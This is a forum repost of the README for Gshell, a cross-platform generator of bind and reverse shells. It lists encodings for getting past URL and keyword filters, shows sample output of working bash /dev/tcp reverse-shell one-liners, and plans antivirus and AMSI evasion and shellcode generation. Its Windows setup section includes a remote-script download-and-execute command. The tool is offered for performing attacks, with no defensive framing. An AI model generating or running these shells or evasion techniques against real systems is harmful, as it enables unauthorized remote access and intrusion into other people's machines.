# Gshell | A Flexible And Scalable Cross-Plaform Shell Generator Tool

**URL:** <https://onehack.st/t/gshell-a-flexible-and-scalable-cross-plaform-shell-generator-tool/219889>\
**Category:** Tools & Scripts\
**Tags:** tools, programming, freebies\
**Created:** [June 15, 2022, 9:18pm UTC](https://onehack.st/t/gshell-a-flexible-and-scalable-cross-plaform-shell-generator-tool/219889 "2022-06-15T21:18:10Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\
**Post date:** [June 15, 2022, 9:18pm UTC](https://onehack.st/t/gshell-a-flexible-and-scalable-cross-plaform-shell-generator-tool/219889/1 "2022-06-15T21:18:10Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/8/3/8305b26fc63c46d9625d6f39f9e8c00a54fd688a.png)

# Introduction

[![made-with-python](https://camo.githubusercontent.com/b8460784ae31f4da2911e8b9b036075248a9f65b08579aeeb212e469ad1c5e7c/687474703a2f2f666f7274686562616467652e636f6d2f696d616765732f6261646765732f6d6164652d776974682d707974686f6e2e737667)](https://www.python.org/) [![built-with-love](https://camo.githubusercontent.com/7998890254268d8ed476c9f66d3fa59d21dd354d2090036083c82af4cda2a0eb/68747470733a2f2f666f7274686562616467652e636f6d2f696d616765732f6261646765732f6275696c742d776974682d6c6f76652e737667)](https://forthebadge.com/)

A simple yet flexible cross-platform shell generator tool.

Name: G(Great) Shell

Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.

**If you find this tool helpful, then please give me a ⭐ as it tells me that I should add more features to it.**

Is cross-platform, you can use it in operating systems such as:

- Unix-based systems
- GNU/Linux
- Windows
- macOS

Generates the following shells:

- Bind Shells: The target has a listening port and we connect to the target.
- Reverse Shells: We have a listening port and the target connects to us.

Supports the following encodings (as of now):

- URL Encoding: Bypass URL filters
- Base64/32/16 Encodings: Bypass string/keyword filters
- PowerShell Base64 Encoding

Supports the follow IP versions:

- IPv4
- IPv6

Supported protocols:

- TCP
- UDP
- ICMP

**Note: You can add your own shells that use other protocols such as DNS**.

Supports the following languages and tools:

- PowerShell
- Python
- Bash
- Sh
- Perl
- Socat
- Netcat
- Nc
- Awk
- Lua
- NodeJS
- OpenSSL
- PHP
- Ruby
- Telnet
- Golang
- C#
- Dart
- Groovy
- Many more…

**It is limitless, feel free to add as many as you desire!**

**The shells are stored in markdown files as it makes it easy for everyone.**

You can add more bind shells by adding markdown code blocks the following file:

shells/bind\_shells.md

You can also add more reverse shells by adding markdown code blocks the following file:

shells/reverse\_shells.md

These can be one-liners and multi-liners, it doesn’t matter. You can even add C# multi-liners code blocks if you want.

Example, replace the IP address and the port placeholders or variables values with these placeholders in your code:

$ip, $port

That’s it, now you can add more.

> Note: It also offers advice and tips for performing and troubleshooting attacks.

# Overview

This is the help menu:

❯ python3 gshell.py --help usage: gshell.py [-i] [-p] [-s] [-r] [-b] [–base64] [–base32] [–base16] [–url] [–no-block] [–debug] [-l] [-a] [-h] ██████ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███████ ███████ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style Version: 1.0 Author: nozerobit Twitter: @nozerobit Options: -i , --ip Specify the IP address -p , --port Specify the port number -s , --shell Specify a shell type (python, nc, bash, etc) Payload Types: -r, --reverse Victim communicates back to the attacking machine -b, --bind Open up a listener on the victim machine Encoding Options: --base64 Add base64 encoding --base32 Add base32 encoding --base16 Add base16 encoding --url Add URL encoding Markdown Options: --no-block Skip `code blocks` while parsing Help Options: -l, --list List the available shell types -a, --advice Print advice and tips to get connections -h, --help Show this help message and exit

Example, generate bash reverse shells:

❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash [+] The IPv4 address: 192.168.145.134 is valid. [+] The port number: 444 is valid. [+] Shell type is valid [+] Preparing reverse shells [+] Generating bash shells bash -i \>& /dev/tcp/192.168.145.134/444 0\>&1 0\<&196;exec 196\<\>/dev/tcp/192.168.145.134/444; sh \<&196 \>&196 2\>&196 /bin/bash -l \> /dev/tcp/192.168.145.134/444 0\<&1 2\>&1 bash -i \>& /dev/tcp/192.168.145.134/444 0\>&1 bash -i \>& /dev/udp/192.168.145.134/444 0\>&1

# Installation in Linux

Clone or download the repository:

git clone [https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell)

Install the requirements:

python3 -m pip install -r gshell/requirements.txt

Add the tool to the `$PATH` environment variable:

sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py

Execute the tool:

gshell.py

# Installation in Windows

Clone or download the repository:

git clone [https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell) C:\Tools

> Note: I created a directory named `Tools` in the `C:\` root directory. You can create this directory with the command `md C:\Tools`.

Install chocolatey with CMD as Administrator:

@powershell -NoProfile -ExecutionPolicy Bypass -Command “iex ((new-object net.webclient).DownloadString(‘[https://chocolatey.org/install.ps1](https://chocolatey.org/install.ps1)’))” && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin

Install python3 in Windows:

choco install -y python3

Install pip:

python -m pip install --upgrade pip

Install the requirements:

python -m pip install -r gshell/requirements.txt

> Note: You can change the directory if you want, just make sure that it contains the `gshell` project folder.

Change to the project directory:

cd C:\Tools

Execute the tool:

python gshell.py

# Contact & Contributing

If you find any issues then you can open an issue, contact me on [twitter](https://twitter.com/nozerobit) or [discord (preferred)](https://discord.gg/jChyJgGs7Z).

If you want to contribute then please feel free.

Any feedback is appreciated.

# ToDo

For the version 2.0 which should have the following:

1. Encryptors: To bypass AVs
2. Obfuscators: To bypass AVs
3. Anti-AMSI: To bypass AMSI
4. Shellcode Generator: For shellcode runners, binary explitation, etc.

## GitHub:

[https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell)
